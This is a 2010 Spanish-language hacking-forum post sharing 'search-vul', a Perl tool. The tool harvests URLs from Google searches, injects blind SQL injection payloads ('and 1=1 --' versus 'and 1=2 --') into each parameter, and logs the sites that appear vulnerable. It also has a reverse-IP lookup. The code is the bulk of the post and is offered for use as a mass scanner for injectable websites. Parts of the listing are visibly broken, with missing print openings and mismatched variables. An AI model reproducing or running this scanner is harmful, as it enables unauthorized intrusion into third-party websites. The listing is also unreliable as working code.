elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  [Tool][Perl] search-vul 0.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Tool][Perl] search-vul 0.4  (Leído 2,712 veces)
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
[Tool][Perl] search-vul 0.4
« en: 7 Enero 2010, 20:58 pm »

Bueno, aquí mi tools, la versión 0.4 de search-vul, si hay dudas de su uso o otra pregunta, pueden contestar este post.



Código
  1. =pod
  2. Autor:   Yoyahack
  3. name:    search-vul
  4. verion:  0.4
  5. Mail:    yoyahack@undersecurity.net
  6. Web:     www.yoyahack.blogspot.com
  7. Webs:    www.undersecurity.net & www.mitm.cl & elhacker.net & www.n3t-datagrams.net
  8. Gretz:   S[e]C, seth, p0fk, ksha, OzX, protos, NorK, C1c4Tr1Z, [[kt0sh]],SH4V , x4cks
  9.                          _                      _
  10.  ___  ___  __ _ _ __ ___| |__      __   ___   _| |
  11. / __|/ _ \/ _` | '__/ __| '_ \ ____\ \ / / | | | |
  12. \__ \  __/ (_| | | | (__| | | |_____\ V /| |_| | |
  13. |___/\___|\__,_|_|  \___|_| |_|      \_/  \__,_|_|
  14.  
  15. =cut
  16.  
  17. #opciones
  18. =pod
  19. --google <busqueda> --num <numero> -> Buscar paginas de google.com y indica el numero de pagina a buscar
  20. --googles <busqueda> --num <numero> -> Buscar pagina de distinto servidores googles
  21. --vul <file.txt> -> Escanea un archivo que contenga distinta pagina y verifica las vurnerables
  22. --dns <site> -> Reverse dns
  23. =cut
  24.  
  25. #Modulos
  26.  
  27. use LWP::UserAgent;
  28. use HTTP::Request;
  29. use Getopt::Long;
  30.  
  31. #Code
  32.  
  33. ·············································
  34.                 Code
  35.                  by
  36.               Yoyahack
  37.         www.yoyahack.blogspot.com
  38.     www.undersecurity.net & www.mitm.cl
  39. ·············································
  40. );
  41.  
  42. print "Usage: perl $0 --opcion <xxx>\n";
  43. --google <busqueda> --num <numero>
  44. --googles <busqueda> --num <numero>
  45. --vul <file.txt>
  46. --dns <site>
  47. --help
  48. );
  49.  
  50. #Opciones
  51. GetOptions("google=s" => \$google,
  52.           "googles=s" => \$googles,
  53.           "vul=s" => \$vul,                
  54.           "dns=s" => \$dns,
  55.           "num=s" => \$num,
  56.           "help" => \$help);
  57.  
  58. if($google & $num){&google};
  59. if($googles & $num ){&googles};
  60. if($vul){&vul};
  61. if($dns){&dns};
  62. if($help){&help}
  63.  
  64. sub google{
  65.  
  66. ###########################################################
  67. my $peti = "http://www.google.com/search?hl=&q=$google&start=$num";
  68. my $result = get($peti);
  69.  
  70. ###########################################################
  71.    while ($result =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  72.  
  73.        my $enlace = $1;
  74.        open (SE,">>busqueda.txt");
  75.        print SE "$enlace\n";
  76.        close (SE);
  77.        print "$enlace\n";
  78.                                                                    }
  79.           }
  80.  
  81.  
  82.  
  83. sub googles{
  84.  
  85. ###########################################################
  86. my @googles = qw(www.google.es www.google.cl www.google.com.ar www.google.co.ve);
  87. foreach $go(@googles)
  88.               {
  89.                chomp($go);
  90. ###########################################################
  91. my $peti1 = "http://$go/search?hl=&q=$googles&start=$num";
  92. my $result1 = get($peti1);
  93.  
  94. ###########################################################
  95.    while ($result1 =~ m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  96.    my $enlace1 = $1;
  97.  
  98.    open (SS,">>googles.txt");
  99.    print SS "$enlace1\n";
  100.    close (SS);
  101.    print "$enlace1\n";
  102.                                                                       }
  103.              }
  104.           }
  105.  
  106.  
  107. sub vul{
  108. ###########################################################
  109. open(PAG,$vul) || die "Archivo de texto no encontrado";
  110. @urls=<PAG>;
  111. close (PAG);
  112. foreach $pag(@urls)
  113.               {
  114.               chomp($pag);
  115. ###########################################################
  116. my $iny1 = $pag."'+and+1=1+--+";
  117. my $iny2 = $pag."'+and+1=2+--+";
  118. ###########################################################
  119. $pag .= '&';
  120. if($pag =~ m/&{2}/ig){
  121. }else{
  122.      while ($pag =~ m/\&/g) {
  123.            $regex = $pag;
  124.            substr($regex, pos($pag)-1, 0, "+and+1=1+--+");
  125.            my $tofo3  = scalar(split("\n",get($regex)));
  126.            $regex2 = $pag;
  127.            substr($regex2, pos($pag)-1, 0, "+and+1=2+--+");
  128.            my $tofo4  = scalar(split("\n",get($regex2)));
  129.            if($tofo3 ne $tofo4 || $tofo != $todo){
  130.                open (VUL,">>vurl.txt");
  131.                print VUL "$pag\n";
  132.                close (SS);
  133.                                                  }
  134.                             }
  135.                   }      
  136. ##########################################################
  137. my $fuente = get($iny1);
  138. my $tofo  = scalar(split("\n",$fuente));
  139.  
  140. my $result = get($iny2);
  141. my $todo  = scalar(split("\n",$result));
  142. ##########################################################
  143. if($tofo ne $todo || $tofo != $todo){
  144.    open (VUL,">>vurl.txt");
  145.    print VUL q(
  146. ·············································
  147.                 Code
  148.                  by
  149.               Yoyahack
  150.         www.yoyahack.blogspot.com
  151.     www.undersecurity.net & www.mitm.cl
  152. ·············································
  153.  
  154. );
  155.    print VUL "$pag\n";
  156.    close (SS);
  157.    print "[+]$pag es vurnerable a SQLI\n";
  158.    print "!guardada exitosamente\n";
  159.   } else {
  160.             print "\n$pag no es vurnerable a SQLI\n";
  161.         }
  162.          }              
  163.               }
  164.  
  165. sub dns{
  166. my $result = get("http://www.ip-adress.com/reverse_ip/$dns");
  167.  
  168. while ($result =~ m!<a href="/whois/(.+)">Whois</a>!ig){
  169.  
  170.    open (DNS,">>reverse_dns.txt");
  171.    print DNS "$1\n";
  172.    close (DNS);
  173.    print "$1\n";
  174.  
  175. }
  176. if ($result =~ /valid IP address/) {
  177.  
  178.    print "Not found\n";
  179. }
  180. }
  181.  
  182.  
  183. sub help {
  184. &erase;
  185. ##############################
  186. 1 --google <busqueda> --num <numero>
  187.  
  188. Buscar paginas de google.com y indica el numero de pagina a buscar
  189. perl script.pl --google ola --num 10
  190. ##############################
  191. #////
  192. ##############################
  193. 2 --googles <busqueda> --num <numero>
  194.  
  195. perl script.pl --googles ola --num 10
  196. Buscar pagina de distinto servidores googles
  197. ##############################
  198. #////
  199. ##############################
  200. 3 --vul <file.txt>
  201.  
  202. perl script.pl --vul archivo.txt
  203. Escanea un archivo que contenga distinta pagina y verifica las vurnerables
  204. ##############################
  205. #////
  206. ##############################
  207. 4 --dns <site>
  208.  
  209. perl script.pl --dns www.pagina.com
  210. Reverse dns
  211. ##############################
  212. #////
  213. );
  214. }
  215.  
  216. sub erase{
  217. $os = "$^O";
  218. if ("linux" == "$os"){
  219.   return system('clear');
  220.    }else{
  221. return system('cls');}
  222. }
  223.  
  224. sub get {
  225.    my $pagina = $_[0];
  226.  
  227.    my $ua = new LWP::UserAgent;
  228.    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
  229.  
  230.    my $busqueda = new HTTP::Request GET => $pagina;
  231.    my $resultado = $ua->request($busqueda);
  232.    $ua->timeout(7) || die "Conecction faield";
  233.    my $result = $resultado->content();
  234. }

Mirror:
http://undersec.pastebin.com/f5c7ce4f9
http://codepad.org/Xwe6N7MO

Saludos.
« Última modificación: 7 Enero 2010, 20:59 pm por yoyahack » En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Perl] Iframe DDos Attack Tool
Scripting
BigBear 0 2,761 Último mensaje 7 Octubre 2011, 01:15 am
por BigBear
[Perl] Search MD5
Scripting
BigBear 0 1,470 Último mensaje 7 Octubre 2011, 15:56 pm
por BigBear
[Perl] Search in google for scan SQLI
Scripting
BigBear 1 2,429 Último mensaje 4 Noviembre 2011, 17:48 pm
por BiteAciD
[Perl] BingHack Tool 0.1
Scripting
BigBear 0 1,483 Último mensaje 26 Mayo 2012, 16:02 pm
por BigBear
[Perl] search.cpan.org cierra tras 20 años de servicio
Scripting
explorer 0 1,589 Último mensaje 17 Mayo 2018, 22:14 pm
por explorer
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines